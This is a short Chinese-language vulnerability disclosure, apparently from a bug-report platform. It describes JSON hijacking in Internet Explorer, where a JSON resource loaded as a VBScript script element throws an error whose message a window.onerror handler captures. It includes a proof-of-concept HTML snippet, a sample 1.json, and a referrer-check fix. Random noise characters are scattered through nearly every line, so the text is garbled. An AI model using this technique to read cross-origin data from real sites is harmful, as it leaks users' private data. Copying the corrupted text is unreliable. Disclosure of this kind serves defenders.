简要描述:
2 Q2 R0 R* D. t7 `
. O9 ?& u0 U E$ C5 j% q8 L* N. f由于某些资源容器对数据处理不当导致json劫持漏洞.9 d/ d( U& |. ]- y7 f
详细说明:
8 |: ~& }# t4 e. i由于ie支持vbscript,所以script元素可以指定成vbscript语言:
5 H" R) \" V# s5 ~2 G$ R<script language=vbscript></script>
0 y t+ W; o! d7 c
& C/ h/ _8 P1 b- ~, _当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
! S% z& I7 n: e6 v5 J& E漏洞证明:
( V1 ~) ]& Z8 ?# _/ V6 R# e3 |<script>
# M) Q$ g& d$ |: l; i2 P9 {window.onerror=function(_){1 k" V+ @+ P U8 ?+ f8 c( N0 e/ ^- j. s' z
alert(_)
% o2 ]* e* c+ o}
) b e+ @# t) N1 K- \, c</script>
6 x* d! v$ W) t& s! I+ s6 @<script language=vbscript src=1.json></script>
* L3 }% Q8 G( U: F( u" _7 q
3 e2 n( j8 h, o6 o5 B* ]
4 g* r! c# k) Q/ `* R1.json:$ [+ l- A7 c# t3 ]- x
[{"name":"sogili","age":19}]
9 o d4 V0 h" t6 b# l3 Y修复方案:
) l3 G. S) p& U6 o' |, z' S网站业务对于这个问题可以通过验证referrer是否为同源来防御 |